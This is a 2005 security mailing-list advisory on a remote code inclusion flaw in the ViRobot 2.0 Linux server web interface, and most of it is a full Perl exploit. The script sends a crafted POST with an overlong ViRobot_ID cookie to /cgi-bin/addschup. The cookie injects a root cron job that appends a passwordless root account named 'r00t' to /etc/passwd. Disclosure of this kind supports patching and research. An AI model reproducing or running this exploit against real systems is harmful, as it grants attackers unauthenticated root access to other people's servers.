[EXPL] ViRobot Remote Code Inclusion (Exploit)

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To: list@securiteam.com
Date: 15 Jun 2005 15:20:40 +0200

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  ViRobot Remote Code Inclusion (Exploit)
------------------------------------------------------------------------

SUMMARY

" <http://www.hauri.net/> ViRobot is a resource-thrifty scanner that lets
you do a full scan quickly while you work. Scheduled scan and update
wizards make it easy to keep your PC clean and your antivirus protection
up to date."

Flaws in ViRobot UNIX/Linux Server web user interface allows remote code
inclusion, the following exploit code will add r00t login to a vulnerable
system, in addition this user will also have root privileges.

DETAILS

Vulnerable Systems:
 * ViRobot version 2.0

Exploit:
#!/usr/bin/perl
# ViRobot 2.0 remote cookie exploit - ala addschup
# copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com
#
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# ls: /var/spool/cron/root: No such file or directory
# jdam:/home/kfinisterre# ls -al /var/spool/cron/root
# -rw-r--r-- 1 root staff 104 2005-01-23 14:43 /var/spool/cron/root
#
# We control the 6th paramater passed to an fprintf call.
#
# 0x804a740 <_IO_stdin_used+572>: "%s %s %s %s %s %s/%s/vrupdate -s >
/dev/null 2>&1\n"
#
# * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd
&/ViRobot/vrupdate -s > /dev/null 2>&1

use IO::Socket;
$hostName = $ARGV[0];

$sock = IO::Socket::INET->new (
               Proto => "tcp",
               PeerAddr => $hostName,
               PeerPort => 8080,
               Type => SOCK_STREAM
);

if (! $sock)
{
       print "[*] Error, could not connect to the remote host: $!\n";
       exit (0);
}

$target = "/cgi-bin/addschup";
$crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &";
$postbody = "POST $target HTTP/1.1\n" .
"Host: localhost:8080\n" .
"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3)
Gecko/20041007 Debian/1.7.3-5\n" .
"Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" .
"Accept-Encoding: gzip,deflate\n" .
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" .
"Keep-Alive: 300\n" .
"Connection: keep-alive\n" .
"Content-type: application/x-www-form-urlencoded\n" .
"Content-length: 1\n" .
"Cookie: ViRobot_ID=" . "A" x 32 . "$crondata\n";

print $sock $postbody;
close ($sock);
exit (0);

ADDITIONAL INFORMATION

The information has been provided by
<mailto:kf_lists@digitalmunition.com> Kevin Finisterre.
The original article can be found at:
<http://www.digitalmunition.com/DMA%5B2005-0614a%5D.txt>
http://www.digitalmunition.com/DMA%5B2005-0614a%5D.txt
The original article can be found at:
<http://www.digitalmunition.com/virobot_ex.pl>
http://www.digitalmunition.com/virobot_ex.pl

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